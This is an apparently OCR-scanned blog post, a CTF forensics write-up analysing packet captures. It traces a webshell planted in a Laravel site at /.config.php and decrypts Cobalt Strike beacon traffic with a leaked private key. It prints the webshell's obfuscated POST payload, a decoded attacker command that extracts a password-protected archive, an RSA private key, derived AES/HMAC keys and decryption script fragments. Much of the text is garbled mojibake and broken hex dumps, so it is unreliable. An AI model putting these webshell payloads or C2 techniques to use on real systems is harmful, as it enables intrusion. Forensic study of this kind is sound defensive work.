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[202144384F] [Misc] B2 #T + cobaltstrike ¥ &%

1.webshellZ>#r
2 fi## cobaltstrike Vi &

(1) 43#7 .cobaltstrike.beacon_keys 75 ZF44H
(2) @A FAHME CHEE . KEUAES KEY
(3) % csiiE

AR Ecesdni I shu X111, Fif<idFctf. BUEMBEAHRPCE, WBRFRKRBEHIER: shuk_CSDNIEZE-ctf, BUIE, web 47t & 3
FEY(@ w @) /! !

1.webshells} 7

MR R Laravel, #|FHCVE-2021-312964HATE L.
43 ¥ & Blwebshell/.config.php

tcp.stream eq 2509


https://blog.csdn.net/weixin_46081055

M Wireshark - i285 HTTP i (tcp.stream eq 2509) - 1.pcapng - O >

POST /.config.php HTTP/1.1 ]
Host: 192.168.132.138

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.@ (Windows; U; Windows NT 6.1; de-DE) AppleWebKit/533.2@.25 (KHTML, like
Gecko) Version/5.0.3 Safari/533.19.4

Content-Type: application/x-www-form-urlencoded

Content-Length: 2352

Connection: close

14433=cOgtS8zRcEivysxLy@ksSdVISixONTOITOINzkSI1VCID%2FAPDOomON6gwSDFINUpINUS2TESs@j9XULLQGAA%3D%3D&
_0x0d4e2debclfa7=jVZtTOtIEP5%2Bv2IZWCcRWTZYy305Q9U6MqVSVRAXFOTCiV5dhrsod jW7s0gUv8329m%2FZYAlysTI5Imd
eXbeZz2RC1%2FxwqSRUHKSPPtcykwgahM6oBbzAMwvxIL7iViKwhxYzMjySEjXQ8171MxynvrzQHFgg4qlzUrEIhsjC9eRCO9
psOSmAc%2Bm139Nr7%2FT2atrric3%2FuevFoOM%2Fz79N6Q8NGOjp5SpLT%2B2AI3EUdtj11gF2jMQ%2FOWCB8pRZMIWLrfFs9
K7TEL%2Fgy9@HUtCWWZ5IHYSNIAKUMAedgESh34AnlreUognkCZukDaxNmaSHSFWc1M401%2BghP%2BtTpxzyKhpR5yweEro6
1pwdelBLu8yehCtUc7EIS4WIXXWvjVvRc1iHa%2FD7EzwrTAKHh7YbiDn%2B2dg6GoYCA7MNSAMEP80CQ%2FPIOYV6qAId69sz
b1vRVs%2BZ%2F3UgeTLIe/Ns4hcg%2BgUz IWNrOKWEFKK8eNpCMFCcFdZG8mI1U4IEYOYyIACNTFaalMaovNSvrvGAReArxsRhwe
Br5YcKDFEgel j1Cx8e0TyfxiFa®110GII3QZARCCQXZKAFEga9wEyvk88bIXTfTneOJHPMwibgrVXBXgj3910bv5TuOT42ED%2
FjAZvh%2BMIhP6wx5BTRjg50qreB6Nx7%2BTjE7i8SBUlHj6CEKU91PV%2BWQBMI%2BHEg5PXSTBh3Kj%2BahuEbgMX2QN7alk
u50gjPQriHdOYqryj9I1Q60xSWARsqUATQPTDYpFfnN19c20dUtCS1%2BvTUWSNpIFkYJI6ai3SXbsnuQHOUIPzDquKJ4vo7CH%
2Ft@6tyKNMriWwyoFGhYYaj3Z5s2d1e317PNnhvT jWKg3jK1tzOVvwIHEeh%2F2BwOAQbET0%2FelLZrDMELYhT2Er8KUBWSXS73
QYQESmHD2i4RrKbFJIWCHhWPek6QF vXRAkb JKW]j5ksOwDBVUB%2F5cgVIXkUGalWVpSBdy1lJcwBs0Sdo@SQwnEYGDU2WZTu5un
MI1xLvmNggKWnjWlLZGldfUwNIssNAX%2FGeRmr5Bi2bN3GGBykSUYup6NAKysmths7mgniWGwdHs JwhBpIquGIjAOR%2BtVOR
1zrd%2B7IVaowH2qRhQ9YgsQI6%2FB1ZUkGNh1axHUJ1CY5PMQg9Kp49iykTWTo3eMn2T3wtlstswxE@r0sBrCQCAgliyCTDz
AboRQdtaAWXB6aE]j7IgUs%2Bn1%2FMprh%2BimVOXII7ATrPfLONbNILVMIibQ1%2FufIvLi9cESTIEYMIA2fImCYZNROO9Xp
7ZSsIt5RIAAqusplgYsgGHQCMNXY97w¥%2Fgd4ahlovwdzR%2BxThvZerJ%2BDoBiZTRAWYFqyeyNUjQIJIvcqlXGoKDSTUYIoUA
jGIpcilbpZWt9wI3E31fv37aUBXEawUqDSQAb3zC%2BOLYhTDE7V6BCZjVd9ApaNUHWI1mI S0F SxkCst2BBvi%2BoSgyrlIQp
XXnkdE23dV2hEvfoY3golbKX8dyZSk¥%2F6Gz4sXmjmuSFQ14hw2MVKo35NQKOsFZAK3v165cd7ZEKN6SHIyezSYnCCk1l4dIpr
gW279AZgHTXoIV6rUsvI1lUvTYk71n92ctFzntQresel0zo7QMAMUT20kaRTR%2F%2BeGWmSralWvtIYvakx6jS8uPatgme79Ah
p7VDNe%2BF%2BAPXb1UdLYQpbuTeHitV2CCayld1ffgduPWGBMIGKagYb%2FXT5]jWK4127K1wQos3c7C6XTIi76%2BqYTr3TXW
R2dNPcEbIXMNfNQ2K6JLfNcwvLbvAvvo7BpGOHMSIFPXRmoq5Y4U35Wq%2B7Cra91ZkHqYC800rt3SAK7XNKHs©2b2aBCiuQ7
cgfWRogAGKUFRQBkrw6CAVTZ9Cnmu09nglqZ6P02vry%2BvT%2BER2UdjIaffuFLBPccVwrq3G4sEsv4F&b430b310838a93=
4g8861d394170244=X4Y21k&uTbd335828130T=/sle) el Ml AN 0[H D L5 | FAel s\ GCAVE [N ol [ Th 4 o VATM DLt WAV Tol (\YL A A A X040

cUHIvZ3JhbSBGaWx1lclw3LVppcFw3ei5leGUiTHggc2VjcmVOLnppcCAtcFABVIWS2cWtoNkd2cXdnM3kmZWNobyAzNzhkZjJj

SR L A L P N YA HTTP/1.1 200 OK |

1 B 54, 1 BHE HE. 1 wrn(s). e e

ERTFIAL
Y21k&ufbd335828f30f=0bY2QgL2QgIkQ6XFxwaHBzdHVkeVOwcm9cXFdXV1xcc2VjcmVeIiYiQzpcUHIvZ3IhbSBGaWx1lclw3LVppcFw3ei5leG
UiIHggc2VjcmVOLnppcCAtcFABVIWs2cWtoNkd2cXdnM3kmZWNobyAzNzhkZjJjMjM@ImNkImVjaG8gZmI3Zjhm

{

base64ff %

{

MlO VOO~ | 9VVVVcd /d "D:\\phpstudy_pro\\WWW\\secret"&"C:\Program Files\7-Zip\7z.exe" x secret.zip -pP4Uké6q
khéGvqwg3y&echo 378df2c234&cd&echo fb7f8f



secreti& k2, #504bzipX Lk, FH, S PaukeqkheGvqugly fif &

[ L - ol i = e T W ==5
[nttp
SSAHE ik v O ESRAE FIFE v | | 504b

{o. Time Source Destination Protoco. Lengt
143.. 2021-09-22 23:27:42.151787 192.168.132.130 192.168.132.138 HTTP
143.. 2021-09-22 23:27:42.152880 192.168.132.138 192.168.132.130 HTTP
144.. 2021-09-22 23:27:45.812109 192.168.132.130 192.168.132.138 HTTP
144.. 2021-09-22 23:27:45.813443 192.168.132.138 192.168.132.130 HTTP
144.. 2021-09-22 23:27:55.985915 192.168.132.130 192.168.132.138 HTTP
144.. 2021-09-22 23:27:55.987834 192.168.132.138 192.168.132.130 HTTP
144.. 2021-09-22 23:28:00.414962 192.168.132.130 192.168.132.138 HTTP
144.. 2021-09-22 23:28:00.417327 192.168.132.138 192.168.132.130 HTTP
144.. 2021-09-22 23:28:03.606650 192.168.132.130 192.168.132.138 HTTP
144.. 2021-09-22 23:28:03.610058 192.168.132.138 192.168.132.130 HTTP

v HTTP chunked response
v Data chunk (1647 octets)
Chunk size: 1647 octets
v Data (1647 bytes)
Data: 3263363463383733504b03042e0001000c0Re3b6355361b6F8a9a5050000a70500001900...
[Length: 1647]

Chinl hAaninAdarue s adna

0100 32 63 36 34 63 38 37 33 50 03 04 2e 00 01 00  2c64c87] P@

0110 ©c 00 e3 b6 35 53 61 b6 8 a9 a5 05 00 ©0 a7 05 --5%al_-c-------
0120 ©0 00 19 00 00 00 2e 63 6T 62 61 6C 74 73 74 72 ccvvr: .c obaltstr
0130 69 6b 65 2e 62 65 61 63 6T 6 5f 6b 65 79 73 b9 ike.beac on_keys-
0140 15 f9 ee 7b 97 a8 8d 98 de 47 fa bo da fd 98 0@a S I R
0150 ¢8 2f 9d 78 a0 e2 ab aa b9 48 9a 4d ca 10 43 a6  -/-X--++ -H-M--C-
0160 76 7b df ae 8d 3b 98 of 1d bb 3f 57 7a ©@a bo 6b v{eee;ee oWz -k
9170 de 36 20 dl1 b7 3a 24 7b a6 2a ed c6 97 ff 97 a3 <6 e Koo
0180 €@ 4d e9 34 al c4 02 22 3e ac 78 28 25 6f bf 3b ‘M-4.-o" >ex(%0-;
9190 aa 4e 76 fd 39 4b d8 89 de 12 09 b9 51 f4 4c e7 *Nv-9K.+ «+--Q-L-
01a@ 43 68 2f 49 b8 1a ac 1c 91 3c 93 e7 ab bo 50 21 Ch/TI++s+s s<s+ssPl
01b@ 78 c3 49 ff ce 12 4e 23 bc 8e f7 53 @d d3 36 ba X+I+e+N# +++5::6-
Frame (504 hvtes) Raaccamhlad TP (1010 hvtec) De—chiinked entitv hodv (16847 hvtes) SLITCEES

2.f# %% cobaltstrike i &
(1) 4r#r .cobaltstrike.beacon_keys 75 3| .41

R github.com/Skactor/cs-scripts

MIICdwIBADANBgkghkiGOw@OBAQEFAASCAmEwggIdAgEAAOGBAIqpewO+1gNYuxQhQwq7pMdM7CP9
2uer5FkUA41vPaelrbpqrlujH95Q7Rfqt7E7Vc+Xx5dYQCoRays jNm+UfuRcFocLHG2ugf4+/NEX
/NFE+gI279wXfC+zZOMGFMQIACITClaiMvALWMBIONBUXK/CErC754c09cIbalkCl/sRXAgMBAAEC
gYBq1SFYXHwfrMmIDIUiv99FzovIkolb/FV2Xxrn8TS8E265Vt3ZmoaYtS25b5K06YnpGgqxWaVve
kKsGgndiRwtNSbIilU1EqWqfdBmucptnISgDdx+ofWbInTR1+1eBzDWA4Zs12sMvMmmyhsc/X35pG
bH21RXXEegPzradtyBwhUQIBANt2IC4p5CQW2UXXVjmrTbA+CulLfnZE+97HCjzZPi/gUiF4akFQ
x46x0vT1RmcalquglPrl700Kbo5LmwmOXukCQQChv4blpfqVcdz9X6MGIqeaiC22EPZn+2dhm4Pb
ZIhurs57M7+dqlYxoG6LneUOHIN8ieeHIfb9ixG/8+F7iIE/AkEAZzyzYfDv3r0oSoMriD1bz5C]jt
XWEtXWvcMfuaPd5nt5uxxHD+8ryQ+/ypHEA+UAS1K5V/1L1XXLankIZmmIqcr4QJAGUAKF//EUcY3
wlpIgflQ4e/2aubVBsCZkAROH1bgcZ76fwNCG6P21s]733HjOTI+vOdsDK6aQ1SNjdDN15IkowIB
AK7C510QF8NR1Iw2+tPUSDVy/PRUVmMpRRA4cD4HXNtVMgODr3L7vx9PeyJHOEFuaVWItdBDILPOH
zUR1/wk5ZFY=



——BEGIN P ¢
MIICdwIBADANBgkqghk1G9w@BAQEFAASCAmME
EuerSFHHAal“qulrbpquujH@‘Q?qut?E

8 JU;Vt1LﬂO ‘1rnth
ofWbInTR1l+1leBzDW4 MJI sMvMmmyhs
'Ec;P 11dt.BHhUQJEHN1_ILHp5r U /jmr TbA+CuJLfnZE+97HCjzZPi/gUiF4akFQ
RmcalqUg1Pr1700Kb@5Lmwm@Xu ( blpfgVecdz9 GJgeaiC22EPZn+2dhm4Pb
/ b 8ie¢ 71 / fDv3r@oSoMriD1bz5Cit
ankIZmmJgcr4QJAGUAKF//EUCY3
'.TI+desDF6 Q1SNjdDN15IkOwIB
vX9PeyJHOEFuaVWItdBDILP@H

END PRIVATE KEY
BEGIN DHELIt KEY
) ‘drng+RZFAON
b 0 - (t /ZRRPoCNu/c
FJw'JLdDEnTELAAtH- jLwC8DAfZwblyvwhKwu+eHKPXCG21iJApf7EVWIDAQAB
——END PUBLIC KEY

2 ~/Desktop/qz/cs-scripts-master

(2) BERABRE . JRE AES KEY

B —#nttpd, TTLARILSH/en_US/all jsEIGETIE R

M Wireshark - JBER HTTP 3 (tcp.stream eq 3937) - 1.pcapng - O

GET /en_US/all.js HTTP/1.1

Accept: */*

Cookie: bGOniQ5nfrsmAWSTgdZSCC+42t5xvQt+B4SVEU6Q8MVCArPn/
O0ThepmxP6GjDiP1wCUB1EE3sqeXkwdHHMd9wikZhiQnjT9AB3e2RNacCVF+8v/nj/Rv85fSD2Phtc/
wsaAjldoFy8ZJIKz1wPwPY61TXArMGFEX7W+VIW/gzujI=

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0@; Windows NT 6.1; Win64; x64; Trident/5.@)
Host: 192.168.132.128

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 2800 OK

Date: Wed, 22 Sep 20621 15:31:10 GMT
Content-Type: application/octet-stream
Content-Length: ©

re GEIIE
Lol WLz

Cookie &—> base64 FF &, BTl E SCHFF 41X 2 RSA A% K T HHE .

Cookie: bGONniQ5nfrSmAW9fgdZSCC+42t5xvQt+B4SVEU6Q8MvCArPn/0ThepmxP6GjDiP1wCUB1EE3sqeXkwdHHMd9wikZhiQnjT9AB3e2RNac
CVF+8v/nj/Rv85fSD2Phfc/wsaAjld9Fy8Z3JKz1wPwPY61TXArMGFtX7W+VW/gzujI=



FIA KL A MRS : github.com/WBGII/ICS_Decrypt

-/Desktop/qz/cs Decrypt-mam

a RSA Decry

cb24deac2
5B B5 55 DE 5D CE 3B 9E 3E
3 03 A‘« 03 5A ‘15 Co F6

- 26 encode_data 2

27 baseb4_key =
None 28

AES key:7c83bf30a6ad2dc410040d33e1399cf6
HMAC key:a77945b3a56687a39f90683cb24de0c2

(3) RECcsE

tcp.stream eq 8956 A] AFE B|EFE T flag

~/Desktup}quc5 Decrypt main

) ) 41" L J 00 2C 00
DDODGDIO: 3 50 45 43 25 00 00 00 19 2
00000020: 65 20 44 3A 5C 66 6C 61 67
00000030: 78 74 00 00 ! 41 & 41

None

Task_Sign:b'\x00\x00\x00N'

00

None

& T —%ksubmit.phpHJ tcp.stream eq 8957

551.. 2021-09-22 23:32:38.814432 192.168.132.138 192.168.132.128
-l+ 551..2021-09-22 23:32:38.814688 192.168.132.138 192.168.132.128
551.. 2021-09-22 23:32:38.814883  192.168.132.128 192.168.132.138
<« 551..2021-09-22 23:32:38.816264 192.168.132.128 192.168.132.138
551.. 2021-09-22 23:32:38.816331 192.168.132.138 192.168.132.128
551.. 2021-09-22 23:32:38.816406  192.168.132.128 192.168.132.138
551.. 2021-09-22 23:32:38.816433  192.168.132.138 192.168.132.128
L e o
\r\n

[Full reguest URI: http://192.168.132.128/submit.php?id=1515569398]
[HTTP request 1/1]

[Response in frame: 55170]

File Data: 84 bytes

w Nata 04 hutac)




T vdLa \Oo4 UvyLcDh)y

Data: 90000050430c91b139b7c17da3b63fb2471e2c8525F1ff10c221b60214ac2ba8ad9fd129..
00de 31 3b 20 57 69 6e 36 34 3b 20 78 36 34 3b 20 54 1; Wine4 ; x64; T
0Ped 72 69 64 65 6 74 2f 35 2e 30 29 ad ©a 48 6f 73 rident/5 .0)--HOS
0ete 74 3a 20 31 39 32 2e 31 36 38 2e 31 33 32 2e 31 t: 192.1 68.132.1
0100 32 38 9d 9a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 28 -Cont ent-Leng
0110 74 68 3a 20 38 34 @d @a 43 6f 6e 6e 65 63 74 69 th: 84-- Connecti
0126 6f 66 3a 20 4b 65 65 70 2d 41 6¢c 69 76 65 @d @a on: Keep -Alive: -
0120 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6¢c 3a 20 6e Cache-Co ntrol: n
0140 2d 63 61 68 65 Pa @d 0a o-cache- - - 88
0150
0160
0170
0180
0190

CSDN @shuzk

base644wty 5 iR %, 33flag

Operations
a

ADD

AND

AES Decrypt
AES Encrypt
Analyse hash
Avro to JSON
Convert area

Atbash Cipher

Add line numbers

Parse User Agent

Add Text To Image

Adler-32 Checksum

Group IP addresses

length: 168 -
D e 1 T O3 ® =

00000B50430c91b139b7c17da3b63fb2471e2c8525F1ff10c221b60214ac2ba8a49fd129c8233c01dd2884c7bB6bad
521a6dae5f58bboeb35eec7eb9f64c2377d3e752588502b5582af9b9124942b2df8F42798¢

Recipe ol

From Hex o n

Delimiter

Auto

To Base64 on

Alphabet
A-Za-z0-9+/=

start: e time: ©ms
Output end: 112 length: 112 @ [[]
length: 112 lines: 1

AAAAUEMMKbES5t8F907Y/skcel IU18F8QuwiG2AhSsK6ikn9EpyCM8AdOohMewa61SGm2uX1i7DrNe7H659kwjd9PnULiFAr
VYKvm58k1Cst+PQnmM

AAAAUEMMKbESt8F907Y/skcelLIU18f8QwiG2AhSsK6ikn9EpyCM8AdOohMewa61SGm2uX1i7DrNe7H659kwjd9PnUliFArVYKvm58k1Cst+PQnmM



compare_mac(hmac.new(hmac_key, encrypted_data,
("message authentication failed") HREK
B i) B
EEBEBEKE:S2
cypher = AES.new(shared_key, AES.MODE_CBC, iv_bytes) f£ % Data
data = cypher.decrypt(encrypted_data) :
data

00 00 00 4E 00 00
00000010 5 00
0000002 65 20 4 6
000000 0

= binascii .u_nheyzlify( 7

4 00 00 41 41 41 4

~/Desktop/qz/CS_Decrypt-main
n Task return AES Dec ¥

1 encrypt_data=base64.b64decode(encrypt_data)

2

3 encrypt_data_length=encrypt_data[0:4]

4

5 encrypt_data_length=int.from_bytes(encrypt_data_length, byteorder= 000000 00 00 05 00 00 1 6 ol

6 006 : 7' 7 37 66 63 7 7 2 €697

7 encrypt_data_l = encrypt_data[:len(encrypt_data)] el

8

9 datal=encrypt_data_l[0:encrypt_data_length-16]

b0 signature=encrypt_data_l[encrypt_data_length-15:encrypt_data_lengt ~/Desktop/qz/CS_Decrypt-main
b1 iv_bytes = bytes("abcdefghij op”, 'utf-8

Z#wp:
wkr.moe/ctf/610.html
blog.nviso.eu/2021/10/27/cobalt-strike-using-known-private-keys-to-decrypt-traffic-part-2/

ARICKHesdnf O 0shu X0, “Fhf&idskctf. BUEMBBEHRMCE, Wl KFREMER: shuR_CSDNEZE-ctf, BUIE, web45iisk & £
FEY (@ w @)/! !


https://blog.csdn.net/weixin_46081055
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